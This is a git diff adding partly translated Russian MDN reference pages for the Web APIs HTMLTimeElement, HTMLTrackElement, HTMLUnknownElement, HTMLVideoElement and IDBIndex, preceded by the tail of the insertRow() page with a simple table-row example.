+ <li>Если таблица содержит несколько элементов <code>tbody</code>, то, по умолчанию, новая строка будет добавлена в последний элемент <code>tbody</code>. Добавить строку в определённый элемент <code>tbody</code>:<br>
+  <code>var <em>specific_tbody</em>=document.getElementById(<em>tbody_id</em>);<br>
+  var <em>row</em>=specific_tbody.insertRow(<em>index</em>)</code></li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:html">&lt;table id="TableA"&gt;
+&lt;tr&gt;
+&lt;td&gt;Old top row&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+&lt;script type="text/javascript"&gt;
+
+function addRow(tableID) {
+  // Get a reference to the table
+  var tableRef = document.getElementById(tableID);
+
+  // Insert a row in the table at row index 0
+  var newRow = tableRef.insertRow(0);
+
+  // Insert a cell in the row at index 0
+  var newCell = newRow.insertCell(0);
+
+  // Append a text node to the cell
+  var newText = document.createTextNode('New top row');
+  newCell.appendChild(newText);
+}
+
+// Call addRow() with the ID of a table
+addRow('TableA');
+
+&lt;/script&gt;</pre>
+
+<p>Чтобы быть валидным HTML документом, элемент TR должен содержать хотя бы один TD элемент.</p>
+
+<p>Обратите внимание, что <code>insertRow</code> добавляет строку непосредственно в таблицу и возвращает ссылку на эту строку. Строку не нужно добавлять отдельно, как в случае с методом<code><a href="/en-US/docs/DOM/document.createElement">document.createElement()</a>,</code> для создания нового TR элемента.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификации</th>
+   <th>Статус</th>
+   <th>Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "tables.html#dom-table-insertrow", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-93995626", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Specifies in more detail where the row is inserted.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM1", "level-one-html.html#ID-39872903", "HTMLTableElement.insertRow()")}}</td>
+   <td>{{Spec2("DOM1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3<sup>[1]</sup></td>
+   <td>5.5</td>
+   <td>10</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Начиная с Gecko 20.0 {{geckoRelease("20.0")}} аргумент index опционален и значением по умолчанию является -1 согласно спецификации HTML.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("HTMLTableRowElement.insertCell()")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmltimeelement/index.html b/files/ru/web/api/htmltimeelement/index.html
new file mode 100644
index 0000000000..747b45af01
--- /dev/null
+++ b/files/ru/web/api/htmltimeelement/index.html
@@ -0,0 +1,64 @@
+---
+title: HTMLTimeElement
+slug: Web/API/HTMLTimeElement
+translation_of: Web/API/HTMLTimeElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>HTMLTimeElement</code></strong> даёт специальные свойства (beyond the regular {{domxref("HTMLElement")}} interface it also has available to it by inheritance) для управления {{HTMLElement("time")}} элементами.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от родителя {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTimeElement.dateTime")}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отражает {{ htmlattrxref("datetime", "time") }} HTML атрибут, содержащий понятный для машин формат даты и времени.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет определённого метода; наследует его у родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmltimeelement", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "text-level-semantics.html#the-time-element", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Нет отличий от {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-time-element", "HTMLTimeElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLTimeElement")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент, реализующий данный интерфейс: {{HTMLElement("time")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmltrackelement/index.html b/files/ru/web/api/htmltrackelement/index.html
new file mode 100644
index 0000000000..b3ee982144
--- /dev/null
+++ b/files/ru/web/api/htmltrackelement/index.html
@@ -0,0 +1,181 @@
+---
+title: HTMLTrackElement
+slug: Web/API/HTMLTrackElement
+translation_of: Web/API/HTMLTrackElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>HTMLTrackElement</code></strong></p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства своего родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTrackElement.kind")}}</dt>
+ <dd>Тип данных {{domxref("DOMString")}}, так как отображает значение HTML-атрибута {{htmlattrxref("kind", "track")}}. Показывает, как будет использоваться текстовый трек. Возможные значения: <code>subtitles</code>, <code>captions</code>, <code>descriptions</code>, <code>chapters</code>, <code>metadata</code> (субтитры, подписи, описания, главы или метаданные).</dd>
+ <dt>{{domxref("HTMLTrackElement.src")}}</dt>
+ <dd>Тип данных {{domxref("DOMString")}}, так как отображает значение HTML-атрибута {{htmlattrxref("src", "track")}}. Указывает адрес файла текстового трека.</dd>
+ <dt>{{domxref("HTMLTrackElement.srclang")}}</dt>
+ <dd>Тип данных {{domxref("DOMString")}}, так как отображает значение HTML-атрибута {{htmlattrxref("srclang", "track")}}. Указывает язык текстового трека.</dd>
+ <dt>{{domxref("HTMLTrackElement.label")}}</dt>
+ <dd>Тип данных {{domxref("DOMString")}} , так как отображает значение HTML-атрибута {{htmlattrxref("label", "track")}}. Определяет видимый пользователю заголовок трека.</dd>
+ <dt>{{domxref("HTMLTrackElement.default")}}</dt>
+ <dd>Тип данных {{domxref("Boolean")}}, отображает значение HTML-атрибута {{htmlattrxref("default", "track")}}.  Указывает, что это текстовый трек по умолчанию, если пользовательские настройки не определят другой трек, как более уместный.</dd>
+ <dt>{{domxref("HTMLTrackElement.readyState")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает значение типа <code>unsigned short</code>, которое показывает доступность трека для чтения:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Константа</td>
+    <td class="header">Значение</td>
+    <td class="header">Описание</td>
+   </tr>
+   <tr>
+    <td><code>NONE</code></td>
+    <td>0</td>
+    <td>Показывает, что метки текстового трека не получены.</td>
+   </tr>
+   <tr>
+    <td><code>LOADING</code></td>
+    <td>1</td>
+    <td>Показывает, что текстовый трек загружается, и пока не было обнаружено фатальных ошибок. Дополнительные метки могут быть добавлены в трек парсером.</td>
+   </tr>
+   <tr>
+    <td><code>LOADED</code></td>
+    <td>2</td>
+    <td>Указывает, что текстовая дорожка загружена без фатальных ошибок.</td>
+   </tr>
+   <tr>
+    <td><code>ERROR</code></td>
+    <td>3</td>
+    <td>Указывает, что текстовый трек был получен, но когда пользовательский агент попытался его использовать, произошла какая-то ошибка. Некоторые или все метки, вероятно, отсутствуют и не будут получены.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("HTMLTrackElement.track")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает {{Domxref("TextTrack")}} is the track element's text track data.</dd>
+</dl>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>track</code> {{ReadOnlyInline}}</td>
+   <td>{{Domxref("TextTrack")}}</td>
+   <td>The track element's text track data.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специфичных методов; наследует методы из родительского элемента, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#the-track-element", "HTMLTrackElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-track-element", "HTMLTrackElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("24")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>src</code> attribute settable</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("50")}}<sup>[2][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("24")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>src</code> attribute settable</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("50")}}<sup>[2][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The <code>HTMLTrackElement</code> interface was added in Firefox 24, but was disabled by default behind the preference {{pref("media.webvtt.enabled")}}. The interface is enabled by default (along with all other WebVTT features) in <a href="/en-US/docs/Mozilla/Firefox/Releases/31">Firefox 31</a>.</p>
+
+<p>[2] Until Firefox 50, the <code>src</code> attribute is settable, but the change does not get handled properly. Starting in Firefox 50, existing track data is properly disposed of, new track data is loaded and put into effect, and so forth.</p>
+
+<p>[3] Prior to Firefox 50, text tracks would only load if the {{HTMLElement("track")}} is in a document. Starting in Firefox 50, this incorrect requirement is lifted.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{ HTMLElement("track") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlunknownelement/index.html b/files/ru/web/api/htmlunknownelement/index.html
new file mode 100644
index 0000000000..449017b6f7
--- /dev/null
+++ b/files/ru/web/api/htmlunknownelement/index.html
@@ -0,0 +1,96 @@
+---
+title: HTMLUnknownElement
+slug: Web/API/HTMLUnknownElement
+translation_of: Web/API/HTMLUnknownElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Интерфейс <strong><code>HTMLUnknownElement</code></strong> предоставляет недопустимый HTML элемент и происходит от интерфейса {{domxref("HTMLElement")}}, но без каких либо дополнительных свойств и методов.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Нет специфичных свойств; наследует свойства от его родителя {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специфичных методов; наследует методы от его потомка, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "elements.html#htmlunknownelement", "HTMLUnknownElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменилось с {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#htmlunknownelement", "HTMLUnknownElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Устаревшие или нестандартные HTML элементы реализующие этот интерфейс: {{HTMLElement("bgsound")}}, {{HTMLElement("blink")}}, {{HTMLElement("isindex")}}, {{HTMLElement("multicol")}}, {{HTMLElement("nextid")}}, {{HTMLElement("rb")}}, {{HTMLElement("spacer")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlvideoelement/index.html b/files/ru/web/api/htmlvideoelement/index.html
new file mode 100644
index 0000000000..b474d0423b
--- /dev/null
+++ b/files/ru/web/api/htmlvideoelement/index.html
@@ -0,0 +1,192 @@
+---
+title: HTMLVideoElement
+slug: Web/API/HTMLVideoElement
+translation_of: Web/API/HTMLVideoElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p><strong><code>HTMLVideoElement</code></strong> интерфейс предоставляет специальные свойства и методы для манипулирования видео объектов. Он также наследует свойства и методы {{domxref("HTMLMediaElement")}} и {{domxref("HTMLElement")}}.</p>
+
+<p>Список <a href="/ru-RU/docs/Web/HTML/Поддерживаемые_медиа_форматы" title="поддерживаемые форматы медиа">поддерживаемых форматов медиа</a> варьируются из одного браузера в другой. Вы должны либо предоставить ваше видео в одном формате которые поддерживаются всеми актуальными браузерами, или предоставить множественные источники видео в достаточно разных форматах чтобы все браузеры которые вам нужны поддерживали их.</p>
+
+<p>{{InheritanceDiagram(600, 140)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("HTMLMediaElement")}}, and </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.height")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("height", "video")}} HTML attribute, which specifies the height of the display area, in CSS pixels.</dd>
+ <dt>{{domxref("HTMLVideoElement.poster")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("poster", "video")}} HTML attribute, which specifies an image to show while no video data is available.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoHeight")}} {{readonlyInline}}</dt>
+ <dd>Returns an <code>unsigned long</code> containing the intrinsic height of the resource in CSS pixels, taking into account the dimensions, aspect ratio, clean aperture, resolution, and so forth, as defined for the format used by the resource. If the element's ready state is <code>HAVE_NOTHING</code>, the value is <code>0</code>.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoWidth")}} {{readonlyInline}}</dt>
+ <dd>Returns an <code>unsigned long</code> containing the intrinsic width of the resource in CSS pixels, taking into account the dimensions, aspect ratio, clean aperture, resolution, and so forth, as defined for the format used by the resource. If the element's ready state is <code>HAVE_NOTHING</code>, the value is <code>0</code>.</dd>
+ <dt>{{domxref("HTMLVideoElement.width")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("width", "video")}} HTML attribute, which specifies the width of the display area, in CSS pixels.</dd>
+</dl>
+
+<h3 id="Gecko-специфичные_свойства">Gecko-специфичные свойства</h3>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.mozParsedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns an <code>unsigned long</code> with the count of video frames that have been parsed from the media resource.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozDecodedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns an <code>unsigned long</code> with the count of parsed video frames that have been decoded into images.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPresentedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns an <code>unsigned long</code> with the count of decoded frames that have been presented to the rendering pipeline for painting.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPaintedFrames")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns an <code>unsigned long</code> with the count of presented frames which were painted on the screen.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozFrameDelay")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns an <code>double</code> with the time which the last painted video frame was late by, in seconds.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozHasAudio")}} {{readonlyInline}}{{non-standard_inline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating if there is some audio associated with the video.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("HTMLMediaElement")}}, and </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("VideoPlaybackQuality")}} objects that contains the current playback metrics.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#idl-def-HTMLVideoElement', 'Extensions to HTMLVideoElement')}}</td>
+   <td>{{Spec2("Media Source Extensions")}}</td>
+   <td>Added the <code>getVideoPlaybackQuality()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#the-video-element", "HTMLAreaElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-video-element", "HTMLAreaElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>10.50</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>mozParsedFrames mozDecodedFrames mozPresentedFrames mozPaintedFrames mozFrameDelay</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozHasAudio</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getVideoPlaybackQuality()</code>{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("25.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>mozParsedFrames mozDecodedFrames mozPresentedFrames mozPaintedFrames mozFrameDelay</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozHasAudio</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getVideoPlaybackQuality()</code>{{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("25.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko implements this behind the <code>media.mediasource.enabled</code> preference, defaulting to <code>false</code>.</p>
+
+<h2 id="См.также">См.также</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{HTMLElement("video")}}.</li>
+ <li><a class="external" href="http://people.mozilla.org/~cpearce/paint-stats-demo.html">Demo of video paint statistics</a></li>
+ <li><a href="/en-US/docs/HTML/Supported_media_formats">Supported media formats</a></li>
+</ul>
diff --git a/files/ru/web/api/idbindex/index.html b/files/ru/web/api/idbindex/index.html
new file mode 100644
index 0000000000..96a9337966
--- /dev/null
+++ b/files/ru/web/api/idbindex/index.html
@@ -0,0 +1,139 @@
+---
+title: IDBIndex
+slug: Web/API/IDBIndex
+tags:
+  - API
+  - Database
+  - IDBIndex
+  - IndexedDB
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Storage
+  - TopicStub
+translation_of: Web/API/IDBIndex
+---
+<p>{{APIRef("IndexedDB")}}</p>
+
+<p><span class="seoSummary"><code>IDBIndex</code> interface of the <a href="/en/IndexedDB" title="en/IndexedDB">IndexedDB API</a> provides asynchronous access to an <a href="/en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_index" title="en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_index">index</a> in a database. An index is a kind of object store for looking up records in another object store, called the referenced object store. You use this interface to retrieve data.</span></p>
+
+<p>You can retrieve records in an object store through the primary key or by using an index. An index lets you look up records in an object store using properties of the values in the object stores records other than the primary key</p>
+
+<p>The index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store. The records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted. Each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. When the object store changes, all indexes that refers to the object store are automatically updated.</p>
+
+<p><span style="line-height: 1.5;">You can grab a set of keys within a range. To learn more, see {{domxref("IDBKeyRange")}}.</span></p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("IDBIndex.isAutoLocale")}} {{readonlyInline}} {{ Non-Standard_inline() }}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the index had a <code>locale</code> value of <code>auto</code> specified upon its creation (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.)</dd>
+ <dt>{{domxref("IDBIndex.locale")}} {{readonlyInline}} {{ Non-Standard_inline() }}</dt>
+ <dd>Returns the locale of the index (for example <code>en-US</code>, or <code>pl</code>) if it had a <code>locale</code> value specified upon its creation (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.)</dd>
+ <dt>{{domxref("IDBIndex.name")}}</dt>
+ <dd>The name of this index.</dd>
+ <dt>{{domxref("IDBIndex.objectStore")}} {{readonlyInline}}</dt>
+ <dd>The name of the object store referenced by this index.</dd>
+ <dt>{{domxref("IDBIndex.keyPath")}} {{readonlyInline}}</dt>
+ <dd>The <a href="/en/IndexedDB#gloss_key_path" title="en/IndexedDB#gloss key path">key path</a> of this index. If null, this index is not <a href="/en/IndexedDB/Index#gloss_auto-populated" title="en/IndexedDB/Index#gloss auto-populated">auto-populated</a>.</dd>
+ <dt>{{domxref("IDBIndex.multiEntry")}} {{readonlyInline}}</dt>
+ <dd>Affects how the index behaves when the result of evaluating the index's key path yields an array. If <code>true</code>, there is one record in the index for each item in an array of keys. If <code>false</code>, then there is one record for each key that is an array.</dd>
+ <dt>{{domxref("IDBIndex.unique")}} {{readonlyInline}}</dt>
+ <dd>If <code>true</code>, this index does not allow duplicate values for a key.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>Inherits from: <a href="/en/DOM/EventTarget" title="en/DOM/EventTarget">EventTarget</a></p>
+
+<dl>
+ <dt>{{domxref("IDBIndex.count()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and in a separate thread, returns the number of records within a key range.</dd>
+ <dt>{{domxref("IDBIndex.get()")}}</dt>
+ <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the value in the referenced object store that corresponds to the given key or the first corresponding value, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd>
+ <dt>{{domxref("IDBIndex.getKey()")}}</dt>
